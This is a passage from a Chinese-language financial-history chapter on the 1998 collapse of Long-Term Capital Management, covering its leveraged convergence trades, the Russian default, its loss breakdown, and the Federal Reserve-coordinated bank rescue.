欧洲主权债券收敛交易：</strong></p><ul><li><strong>背景</strong>：欧洲经济一体化进程中，各国国债收益率预计会趋同</li><li><strong>具体操作</strong>：<ul><li>做多意大利国债（收益率高）</li><li>做空德国国债（收益率低，被视为无风险资产）</li></ul></li><li><strong>杠杆倍数</strong>：约25:1</li><li><strong>交易规模</strong>：数十亿美元</li><li><strong>失败原因</strong>：1998年危机时投资者&quot;逃向质量&quot;，德意利差不但未缩小反而急剧扩大</li></ul><blockquote><p><strong>什么是&quot;逃向质量&quot;(Flight to Quality)？</strong></p><p><strong>定义</strong>：当市场出现恐慌或不确定性时，投资者抛售风险较高的资产，转而购买被认为最安全的资产。</p><p><strong>具体行为</strong>：</p><ul><li><strong>抛售</strong>：公司债券、新兴市场债券、高收益债券</li><li><strong>买入</strong>：政府债券（特别是美国国债、德国国债）</li></ul><p><strong>心理驱动</strong>：</p><ul><li><strong>恐惧情绪</strong>：“宁愿少赚，也不要亏钱”</li><li><strong>流动性需求</strong>：“我需要能随时变现的资产”</li><li><strong>避险本能</strong>：“选择最不可能违约的投资”</li></ul><p><strong>1998年俄国危机时的具体表现</strong>：</p><ul><li>投资者疯狂抛售意大利国债（担心欧洲经济受冲击）</li><li>大量资金涌入德国国债（被视为欧洲最安全的避风港）</li><li>原本50基点的德意利差扩大到150基点以上</li><li>LTCM的&quot;收敛押注&quot;变成&quot;发散现实&quot;</li></ul></blockquote><p><strong>3. 在途债券(On-the-run)与脱途债券(Off-the-run)套利：</strong></p><ul><li><strong>在途债券</strong>：最新发行的特定期限国债，流动性最好</li><li><strong>脱途债券</strong>：较早发行、期限相近的国债，流动性稍差</li><li><strong>正常价差</strong>：通常在途债券收益率比脱途债券低2-5个基点</li><li><strong>LTCM策略</strong>：大量做多脱途债券，做空在途债券</li><li><strong>灾难性结果</strong>：危机时&quot;流向流动性&quot;现象，价差从5个基点扩大到50个基点</li></ul><blockquote><p><strong>什么是&quot;流向流动性&quot;(Flight to Liquidity)？</strong></p><p><strong>定义</strong>：在市场压力下，投资者优先持有最容易买卖、变现最快的资产，即使要付出价格代价。</p><p><strong>核心逻辑</strong>：</p><ul><li><strong>变现优先</strong>：“我需要的不是最好的价格，而是能马上卖出去”</li><li><strong>交易便利</strong>：“选择交易量最大、买卖价差最小的资产”</li><li><strong>恐慌心理</strong>：“市场在下跌，我必须能随时退出”</li></ul><p><strong>流动性的等级差异</strong>：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">超高流动性：在途美国国债（几乎无买卖价差）</span><br><span class="line">    ↓</span><br><span class="line">高流动性：脱途美国国债（轻微买卖价差）</span><br><span class="line">    ↓</span><br><span class="line">中等流动性：蓝筹股公司债券</span><br><span class="line">    ↓</span><br><span class="line">低流动性：小公司债券、新兴市场债券</span><br></pre></td></tr></table></figure><p><strong>1998年危机时的具体表现</strong>：</p><ul><li>投资者疯狂抛售脱途债券（难以快速变现）</li><li>大量资金涌入在途债券（随时可以大额交易）</li><li>明明期限相近、信用相同的债券，仅因流动性差异价差暴涨</li><li>LTCM持有大量流动性较差的脱途债券，陷入&quot;想卖卖不掉&quot;的困境</li></ul><p><strong>现代例子</strong>：</p><ul><li><strong>2020年3月COVID恐慌</strong>：连美国国债ETF都出现大幅折价，因为大家都想要现金</li><li><strong>加密货币崩盘时</strong>：投资者优先卖出比特币（流动性最好），山寨币无人问津</li></ul></blockquote><ul><li><strong>损失金额</strong>：约3.5亿美元</li></ul><p><strong>4. 俄国政府短期债券(GKO)投资：</strong></p><ul><li><strong>投资逻辑</strong>：俄国政府债券收益率高达50-80%，远高于美国国债的5-6%</li><li><strong>对冲策略</strong>：卖空卢布以对冲汇率风险</li><li><strong>致命缺陷</strong>：俄国政府1998年8月17日违约，同时禁止卢布交易</li><li><strong>结果</strong>：既损失了债券本金，又无法通过卢布空头获利，双重打击</li><li><strong>直接损失</strong>：约4.3亿美元</li></ul><p><strong>&quot;无风险&quot;的假象：理论完美，现实残酷</strong></p><p>LTCM的模型基于以下&quot;完美&quot;假设：</p><ol><li><strong>价格最终会收敛</strong>：相似资产的价格偏差是暂时的</li><li><strong>历史数据可预测未来</strong>：基于过去20年的市场数据建模</li><li><strong>流动性永远充足</strong>：可以随时平仓退出</li><li><strong>极端事件概率极低</strong>：&quot;百年一遇&quot;的市场崩盘不会发生</li></ol><h4 id="2-1-3-早期成功与风险积累：成功陷阱的形成机制">2.1.3 早期成功与风险积累：成功陷阱的形成机制</h4><p><strong>惊人的早期成功与危险的自信</strong></p><p>LTCM在成立初期取得了令人瞩目的成功，这种成功反而成为其最终失败的重要原因。成功带来的自信让管理团队逐步提高杠杆比例，忽视了模型的局限性和市场环境的变化。这一现象在金融史上屡见不鲜，被称为&quot;成功陷阱&quot;——过去的成功经验可能成为未来失败的种子，特别是在高杠杆交易中，成功的策略一旦失效往往导致灾难性后果。</p><p><strong>图2-9: LTCM历年业绩表现与杠杆演进轨迹</strong></p><pre><code class="highlight mermaid">graph TD    A[&quot;1994年: 首年运营&quot;] --&gt; B[&quot;净回报: 20%&quot;]    B --&gt; C[&quot;1995年: 巅峰之年&quot;] --&gt; D[&quot;净回报: 43%&quot;]    D --&gt; E[&quot;1996年: 持续辉煌&quot;] --&gt; F[&quot;净回报: 41%&quot;]    F --&gt; G[&quot;1997年: 警告信号&quot;] --&gt; H[&quot;净回报: 17%&quot;]    H --&gt; I[&quot;市场套利机会减少&quot;]    I --&gt; J[&quot;决定提高杠杆比例&quot;]    J --&gt; K[&quot;1997年底: 杠杆达到30:1&quot;]</code></pre><p><em>数据来源：《When Genius Failed》，LTCM年度报告</em></p><p><strong>致命的成功陷阱：</strong></p><ul><li><strong>规模效应</strong>：随着资金规模增长，获利机会减少</li><li><strong>竞争加剧</strong>：其他机构模仿LTCM策略，压缩利润空间</li><li><strong>杠杆依赖</strong>：为维持高回报，被迫提高杠杆比例</li><li><strong>风险麻痹</strong>：连续成功让团队对风险警觉性下降</li></ul><h4 id="2-1-4-1998年危机：完美风暴的形成与传导机制">2.1.4 1998年危机：完美风暴的形成与传导机制</h4><p><strong>危机背景：从反广场协议到全球连锁反应</strong></p><p>1998年的金融危机并非突然爆发，而是多重因素长期积累的结果。从1995年美国&quot;反广场协议&quot;开始，一系列看似无关的事件逐步演化为全球性的流动性危机。这场危机充分暴露了LTCM模型的根本缺陷：在极端市场条件下，历史相关性失效，所有风险资产同向变动，使得精心设计的对冲策略完全失效。危机的传导速度和影响范围远超模型预期，说明了系统性风险的复杂性和不可预测性。</p><p><strong>1995年：危机的远程导火索</strong><br>美国实施&quot;反广场协议&quot;，故意推高美元价值：</p><ul><li><strong>目标</strong>：美元相对日元升值50%</li><li><strong>副作用</strong>：亚洲货币被迫跟随升值，出口竞争力下降</li><li><strong>油价影响</strong>：亚洲需求减少，油价从24美元/桶降至17美元/桶（1997年中）</li><li><strong>俄国困境</strong>：作为能源出口国，税收收入的2/3来自能源部门</li></ul><p><strong>第一波冲击：亚洲金融危机余波（1997-1998）</strong><br><strong>详细时间线：</strong></p><ul><li><strong>1997年7月2日</strong>：泰国放弃泰铢固定汇率制，泰铢暴跌</li><li><strong>1997年7-12月</strong>：危机蔓延至印尼、韩国、马来西亚、菲律宾</li><li><strong>1997年11月</strong>：俄国卢布第一次遭受投机攻击<ul><li>俄国外汇储备从204亿美元降至122亿美元</li><li>中央银行被迫动用储备维护汇率稳定</li></ul></li><li><strong>1997年12月-1998年3月</strong>：油价继续下跌至11美元/桶</li><li><strong>1998年1月</strong>：卢布第二次遭受攻击，储备降至105亿美元</li></ul><p><strong>第二波冲击：俄罗斯债务危机（1998年8月17日）</strong></p><p><strong>危机前的警告信号：</strong></p><p><strong>图2-10: 1998年俄罗斯危机演进时间线与外汇储备变化</strong></p><pre><code class="highlight mermaid">graph TD    A[&quot;1998年5月17日: 利率提升至50%&quot;] --&gt; B[&quot;1998年5月27日: 利率飙升至150%&quot;]    B --&gt; C[&quot;1998年6月: 卢布第三次投机攻击&quot;]    C --&gt; D[&quot;1998年8月13日: 最后一次攻击&quot;]    D --&gt; E[&quot;1998年8月17日: 违约+贬值&quot;]    subgraph &quot;储备耗尽过程&quot;        F[&quot;1997年6月: 204亿美元&quot;]        G[&quot;1997年12月: 122亿美元&quot;]        H[&quot;1998年1月: 105亿美元&quot;]        I[&quot;1998年8月: 82亿美元&quot;]    end</code></pre><p><em>数据来源：俄罗斯央行数据，国际货币基金组织统计</em></p><p><strong>8月17日&quot;黑色星期一&quot;详细事件：</strong></p><ul><li><strong>上午</strong>：俄国政府宣布卢布贬值并暂停GKO债券支付</li><li><strong>具体内容</strong>：<ul><li>卢布汇率区间从5.3-7.1调整为6.0-9.5（立即贬值）</li><li>暂停支付2810亿卢布（135亿美元）的国债</li><li>禁止银行与外国投资者进行卢布远期交易</li></ul></li><li><strong>全球反应</strong>：<ul><li>道琼斯指数下跌4.4%</li><li>欧洲股市暴跌6-8%</li><li>全球债券收益率暴涨</li><li>美国10年期国债收益率从5.4%暴跌至4.2%（&quot;流向质量&quot;现象）</li></ul></li></ul><blockquote><p><strong>&quot;流向质量&quot;的全球连锁反应</strong>：</p><p><strong>为什么美国国债收益率暴跌？</strong></p><ul><li>全球投资者同时抛售风险资产（股票、公司债、新兴市场债券）</li><li>巨量资金涌入美国国债（被视为全球最安全的资产）</li><li>债券价格暴涨 → 收益率暴跌（价格与收益率反向关系）</li></ul><p><strong>这种行为的时机特征</strong>：</p><ul><li><strong>触发条件</strong>：重大地缘政治事件、金融危机、经济衰退恐慌</li><li><strong>速度特征</strong>：通常在几天甚至几小时内完成</li><li><strong>规模特征</strong>：涉及数千亿美元的资金流动</li><li><strong>心理特征</strong>：非理性恐慌，“先逃再说”</li></ul><p><strong>对LTCM的致命影响</strong>：</p><ul><li>LTCM做多了大量非美国债券（意大利债、俄国债等）</li><li>这些债券在&quot;流向质量&quot;中被大量抛售</li><li>同时LTCM做空了美国国债，却在价格暴涨中巨亏</li><li>双重打击：多头暴跌，空头暴涨</li></ul></blockquote><p><strong>LTCM损失的详细分解：</strong></p><p>如表2-1所示，LTCM在1998年总损失48亿美元，其中利率互换损失最大，占总损失的33.3%。该表清晰展现了不同交易策略的风险暴露和失败原因。</p><p><strong>表2-1: LTCM 1998年总损失48亿美元的具体构成分析表</strong></p><table><thead><tr><th>损失类别</th><th>金额(亿美元)</th><th>占比</th><th>主要原因</th></tr></thead><tbody><tr><td>利率互换</td><td>16.0</td><td>33.3%</td><td>LIBOR-国债利差扩大</td></tr><tr><td>股票和波动率</td><td>13.0</td><td>27.1%</td><td>VIX飙升，做空期权巨亏</td></tr><tr><td>俄国及新兴市场</td><td>4.3</td><td>9.0%</td><td>俄国违约直接损失</td></tr><tr><td>发达国家方向性交易</td><td>3.7</td><td>7.7%</td><td>欧洲主权债券利差扩大</td></tr><tr><td>股票配对交易</td><td>2.9</td><td>6.0%</td><td>股票相关性失效</td></tr><tr><td>收益率曲线套利</td><td>2.2</td><td>4.6%</td><td>在途/脱途债券利差扩大</td></tr><tr><td>标普500股票</td><td>2.0</td><td>4.2%</td><td>直接股票投资损失</td></tr><tr><td>垃圾债券</td><td>1.0</td><td>2.1%</td><td>信用利差急剧扩大</td></tr><tr><td><strong>总计</strong></td><td><strong>48.0</strong></td><td><strong>100%</strong></td><td></td></tr></tbody></table><p><em>数据来源：《When Genius Failed》，纽约联储内部文件，1998年</em></p><blockquote><p><strong>什么是信用利差？</strong></p><p>信用利差（Credit Spread）是指<strong>信用风险较高的债券收益率与无风险债券收益率之间的差额</strong>。</p><p><strong>简单理解：</strong></p><ul><li><strong>国债</strong>（政府发行）= 几乎无风险，收益率最低</li><li><strong>公司债</strong>（企业发行）= 有违约风险，收益率更高</li><li><strong>信用利差</strong> = 公司债收益率 - 国债收益率</li></ul><p><strong>举例说明：</strong></p><ul><li>美国10年期国债收益率：4%</li><li>某垃圾债券10年期收益率：10%</li><li>信用利差 = 10% - 4% = <strong>6%</strong></li></ul><p>这6%就是投资者要求的<strong>风险补偿</strong>，因为垃圾债券违约概率更高。</p><p><strong>信用利差变化的市场含义：</strong></p><ul><li><strong>扩大</strong>：市场担心违约风险增加，抛售风险资产</li><li><strong>缩小</strong>：市场对信用风险更乐观，追逐收益</li></ul><p>在1998年危机中，恐慌情绪导致信用利差急剧扩大，LTCM持有的垃圾债券遭受重创。</p></blockquote><p><strong>最致命的交易失误详解：</strong></p><p><strong>1. 股票波动率交易（损失13亿美元）：</strong></p><ul><li><strong>策略逻辑</strong>：LTCM认为1998年初股票期权20%的隐含波动率过高</li><li><strong>历史依据</strong>：1979-1997年标普500平均波动率仅15%</li><li><strong>交易操作</strong>：大量卖出股票期权，收取权利金</li><li><strong>杠杆倍数</strong>：约40:1</li><li><strong>灾难降临</strong>：俄国危机后VIX指数从20%飙升至45%</li><li><strong>损失机制</strong>：期权价值随波动率暴涨，LTCM需要巨额资金平仓</li></ul><p><strong>2. 利率互换交易（损失16亿美元）：</strong></p><ul><li><strong>交易原理</strong>：LTCM预期LIBOR与国债收益率的利差会缩小</li><li><strong>正常利差</strong>：经济平稳期通常在30-50个基点</li><li><strong>交易仓位</strong>：19亿美元的利率互换空头（LTCM支付固定、收取浮动）</li><li><strong>危机冲击</strong>：恐慌情绪下LIBOR-国债利差从50基点暴涨至200基点</li><li><strong>每日损失</strong>：高峰时期每天损失超过1亿美元</li></ul><p><strong>极端杠杆下的死亡螺旋</strong></p><p><strong>LTCM的资产负债结构（1998年初）：</strong></p><ul><li><strong>股东权益</strong>：约47亿美元</li><li><strong>借入资金</strong>：约1250亿美元</li><li><strong>衍生品名义价值</strong>：约1.29万亿美元</li><li><strong>实际杠杆比例</strong>：26.5:1</li><li><strong>包含衍生品的总风险敞口</strong>：超过41:1</li></ul><p><strong>风险放大机制：</strong></p><p>公式(2-5)：总风险敞口计算模型</p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.0503em;vertical-align:-0.367em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.00773em;">R</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.0077em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">t</span><span class="mord mathnormal mtight">o</span><span class="mord mathnormal mtight">t</span><span class="mord mathnormal mtight">a</span><span class="mord mathnormal mtight" style="margin-right:0.01968em;">l</span><span class="mord mtight" style="margin-right:0.02778em;">_</span><span class="mord mathnormal mtight">e</span><span class="mord mathnormal mtight">x</span><span class="mord mathnormal mtight">p</span><span class="mord mathnormal mtight">os</span><span class="mord mathnormal mtight">u</span><span class="mord mathnormal mtight">re</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.367em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.4124em;vertical-align:-0.9721em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.4403em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"><span class="mord mathnormal" style="margin-right:0.05764em;">E</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.0576em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">e</span><span class="mord mathnormal mtight" style="margin-right:0.03588em;">q</span><span class="mord mathnormal mtight">u</span><span class="mord mathnormal mtight">i</span><span class="mord mathnormal mtight">t</span><span class="mord mathnormal mtight" style="margin-right:0.03588em;">y</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.757em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"><span class="mord mathnormal">L</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">b</span><span class="mord mathnormal mtight">orro</span><span class="mord mathnormal mtight" style="margin-right:0.02691em;">w</span><span class="mord mathnormal mtight">e</span><span class="mord mathnormal mtight">d</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02778em;">D</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.0278em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">d</span><span class="mord mathnormal mtight" style="margin-right:0.02778em;">er</span><span class="mord mathnormal mtight">i</span><span class="mord mathnormal mtight" style="margin-right:0.03588em;">v</span><span class="mord mathnormal mtight">a</span><span class="mord mathnormal mtight">t</span><span class="mord mathnormal mtight">i</span><span class="mord mathnormal mtight" style="margin-right:0.03588em;">v</span><span class="mord mathnormal mtight">es</span><span class="mord mtight" style="margin-right:0.02778em;">_</span><span class="mord mathnormal mtight">d</span><span class="mord mathnormal mtight">e</span><span class="mord mathnormal mtight">lt</span><span class="mord mathnormal mtight">a</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.367em;"><span></span></span></span></span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.9721em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:1em;"></span><span class="mopen">(</span><span class="mord">2</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">5</span><span class="mclose">)</span></span></span></span></span></p><p>其中：</p><ul><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.0503em;vertical-align:-0.367em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.00773em;">R</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.0077em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">t</span><span class="mord mathnormal mtight">o</span><span class="mord mathnormal mtight">t</span><span class="mord mathnormal mtight">a</span><span class="mord mathnormal mtight" style="margin-right:0.01968em;">l</span><span class="mord mtight" style="margin-right:0.02778em;">_</span><span class="mord mathnormal mtight">e</span><span class="mord mathnormal mtight">x</span><span class="mord mathnormal mtight">p</span><span class="mord mathnormal mtight">os</span><span class="mord mathnormal mtight">u</span><span class="mord mathnormal mtight">re</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.367em;"><span></span></span></span></span></span></span></span></span></span>：总风险敞口</li><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">L</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">b</span><span class="mord mathnormal mtight">orro</span><span class="mord mathnormal mtight" style="margin-right:0.02691em;">w</span><span class="mord mathnormal mtight">e</span><span class="mord mathnormal mtight">d</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>：借入资金</li><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.0503em;vertical-align:-0.367em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02778em;">D</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.0278em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">d</span><span class="mord mathnormal mtight" style="margin-right:0.02778em;">er</span><span class="mord mathnormal mtight">i</span><span class="mord mathnormal mtight" style="margin-right:0.03588em;">v</span><span class="mord mathnormal mtight">a</span><span class="mord mathnormal mtight">t</span><span class="mord mathnormal mtight">i</span><span class="mord mathnormal mtight" style="margin-right:0.03588em;">v</span><span class="mord mathnormal mtight">es</span><span class="mord mtight" style="margin-right:0.02778em;">_</span><span class="mord mathnormal mtight">d</span><span class="mord mathnormal mtight">e</span><span class="mord mathnormal mtight">lt</span><span class="mord mathnormal mtight">a</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.367em;"><span></span></span></span></span></span></span></span></span></span>：衍生品Delta等值</li><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.9694em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.05764em;">E</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.0576em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">e</span><span class="mord mathnormal mtight" style="margin-right:0.03588em;">q</span><span class="mord mathnormal mtight">u</span><span class="mord mathnormal mtight">i</span><span class="mord mathnormal mtight">t</span><span class="mord mathnormal mtight" style="margin-right:0.03588em;">y</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span></span></span></span>：股东权益</li></ul><p><strong>死亡螺旋的四个阶段：</strong></p><p><strong>第一阶段：模型失效（8月）</strong></p><p><strong>图2-11: LTCM死亡螺旋第一阶段——模型失效过程</strong></p><pre><code class="highlight mermaid">graph LR    A[&quot;市场极端波动&quot;] --&gt; B[&quot;历史相关性失效&quot;]    B --&gt; C[&quot;套利价差继续扩大&quot;]    C --&gt; D[&quot;预期收敛变成持续发散&quot;]    D --&gt; E[&quot;月亏损达15%&quot;]</code></pre><p><em>数据来源：纽约联储调查报告，LTCM内部记录</em></p><p><strong>第二阶段：流动性危机（9月初）</strong></p><ul><li><strong>保证金追缴</strong>：银行要求追加数十亿美元保证金</li><li><strong>被迫卖出</strong>：流动性好的资产被迫平仓，留下难以变现的头寸</li><li><strong>价格冲击</strong>：大规模卖出进一步压低资产价格</li><li><strong>恶性循环</strong>：损失→追保→卖出→更大损失</li></ul><p><strong>第三阶段：信心崩塌（9月中）</strong></p><ul><li><strong>对手方恐慌</strong>：银行开始拒绝新的交易</li><li><strong>信贷额度冻结</strong>：原有的融资渠道被切断</li><li><strong>市场谣言</strong>：LTCM面临破产的消息传播</li><li><strong>挤兑效应</strong>：投资者要求立即赎回</li></ul><p><strong>第四阶段：系统性风险（9月下旬）</strong></p><p><strong>9月21日：致命一击</strong></p><ul><li>贝尔斯登要求追加5亿美元保证金</li><li>LTCM现金几乎耗尽</li><li>日亏损额达到1亿美元以上</li></ul><p><strong>9月22日：绝望时刻</strong></p><ul><li>净资产值跌至6亿美元（较年初下降92%）</li><li>杠杆比例飙升至约200:1</li><li>面临全面清算的威胁</li></ul><p><strong>为什么银行不敢清算LTCM？系统性风险的真实面目</strong></p><p><strong>相互依存的风险网络：</strong></p><p><strong>图2-12: LTCM与主要银行的风险关联网络及系统性风险传导</strong></p><pre><code class="highlight mermaid">graph TB    subgraph &quot;LTCM的对手方网络&quot;        A[&quot;LTCM&lt;br/&gt;1.29万亿美元衍生品&quot;]        A --&gt; B[&quot;美银美林&lt;br/&gt;风险敞口50亿&quot;]        A --&gt; C[&quot;摩根士丹利&lt;br/&gt;风险敞口40亿&quot;]        A --&gt; D[&quot;高盛&lt;br/&gt;风险敞口60亿&quot;]        A --&gt; E[&quot;瑞银&lt;br/&gt;风险敞口25亿&quot;]        A --&gt; F[&quot;德银&lt;br/&gt;风险敞口35亿&quot;]        subgraph &quot;连锁反应担忧&quot;            G[&quot;LTCM破产&quot;]            G --&gt; H[&quot;银行巨额损失&quot;]            H --&gt; I[&quot;银行股价暴跌&quot;]            I --&gt; J[&quot;系统性金融危机&quot;]        end    end</code></pre><p><em>数据来源：纽约联储救援会议记录，各银行风险敞口评估</em></p><p><strong>清算困境的三重约束：</strong></p><ol><li><p><strong>市场容量限制</strong>：</p><ul><li>LTCM持有的某些债券占整个市场的30-50%</li><li>强制清算会导致这些市场完全崩溃</li><li>其他银行的同类头寸也会遭受重创</li></ul></li><li><p><strong>时间约束</strong>：</p><ul><li>衍生品合约无法快速解除</li><li>部分头寸需要数月才能平仓</li><li>市场恐慌情绪下的抛售会持续压低价格</li></ul></li><li><p><strong>信息不对称</strong>：</p><ul><li>外界不完全了解LTCM的具体头寸</li><li>不确定性加剧市场恐慌</li><li>可能引发其他对冲基金的挤兑</li></ul></li></ol><h4 id="2-1-5-历史性救援：系统性风险应对的经典案例">2.1.5 历史性救援：系统性风险应对的经典案例</h4><p><strong>救援背景与机制分析</strong></p><p>LTCM救援行动是金融史上第一次大规模私营部门联合救援行动，开创了&quot;太大而不能倒&quot;理念的实践先河。这次救援不仅拯救了LTCM，更重要的是避免了可能的系统性金融危机。救援过程中暴露的问题包括：金融机构间的高度关联性、缺乏透明度的风险敞口、监管盲区的存在等。救援成功的关键在于美联储的协调作用和各大银行对系统性风险的正确认识，但也引发了关于道德风险和&quot;太大而不能倒&quot;的长期争议。</p><p><strong>救援前的绝望时刻：</strong></p><p><strong>9月20日：彼得·费舍尔的格林威治之行</strong><br>纽约联储市场运营部主管彼得·费舍尔(Peter Fisher)奉威廉·麦克多诺之命，前往康涅狄格州格林威治的LTCM总部实地评估情况：</p><ul><li><strong>震惊发现</strong>：LTCM的衍生品头寸规模达到1.29万亿美元</li><li><strong>系统风险评估</strong>：如果LTCM破产，将引发抛售潮，冲击全球金融市场</li><li><strong>流动性枯竭</strong>：LTCM已无法满足日常保证金要求</li><li><strong>紧急报告</strong>：费舍尔立即向麦克多诺汇报，确认存在系统性风险</li></ul><p><strong>9月22日：第一轮救援谈判</strong><br><strong>上午会议（纽约联储）：</strong></p><ul><li><strong>核心三巨头</strong>：美林、高盛、摩根大通代表参会</li><li><strong>初步方案</strong>：三家银行各出资10亿美元，共30亿美元</li><li><strong>分歧严重</strong>：各银行对出资比例和控制权分配无法达成一致</li><li><strong>会议暂停</strong>：下午8点会议宣布暂停，扩大参与银行范围</li></ul><p><strong>晚间会议（纽约联储）：</strong></p><ul><li><strong>参与银行</strong>：13家华尔街主要银行代表齐聚</li><li><strong>费舍尔讲话</strong>：“LTCM的崩溃将对市场造成太大冲击，存在集体行业方案的公共利益”</li><li><strong>分歧持续</strong>：各银行仍在争论出资比例和责任分配</li><li><strong>会议流产</strong>：午夜时分会议结束，未达成协议</li></ul><p><strong>9月23日上午：巴菲特的&quot;天降救兵&quot;</strong></p><p><strong>意外转机：</strong><br>上午10:30，沃伦·巴菲特通过传真发出收购提议：</p><ul><li><strong>收购方</strong>：伯克希尔哈撒韦、AIG、高盛三方联合</li><li><strong>收购价格</strong>：2.5亿美元买断LTCM合伙人权益</li><li><strong>注资规模</strong>：37.5亿美元（伯克希尔30亿+AIG7亿+高盛3亿）</li><li><strong>管理权</strong>：完全接管LTCM运营</li><li><strong>决定期限</strong>：当天12:30前必须答复</li></ul><p><strong>梅利韦瑟的艰难选择：</strong></p><ul><li><strong>时间压力</strong>：仅有2小时决策时间</li><li><strong>法律障碍</strong>：LTCM的有限合伙结构使收购复杂化</li><li><strong>个人考量</strong>：接受意味着彻底失去对公司的控制</li><li><strong>最终决定</strong>：12:30截止时间到达时，梅利韦瑟拒绝了巴菲特的提议</li></ul><p><strong>9月23日下午：史上最大金融救援</strong></p><p><strong>下午1:00：会议重启</strong><br>麦克多诺再次召集银行家们：</p><ul><li><strong>紧迫性</strong>：巴菲特方案被拒，救援成为唯一选项</li><li><strong>系统风险</strong>：美联储明确表达对系统性危机的担忧</li><li><strong>协调机制</strong>：纽约联储作为协调者，不出资但监督执行</li></ul><p><strong>下午6:00：历史性协议达成</strong><br>经过5小时艰苦谈判，14家银行达成协议：</p><p><strong>救援财团详细构成：</strong></p><p>表2-2详细列出了参与LTCM救援行动的14家全球顶级银行的出资情况。该救援行动总计36.25亿美元，是金融史上最大规模的私营部门救援行动之一。</p><p><strong>表2-2: 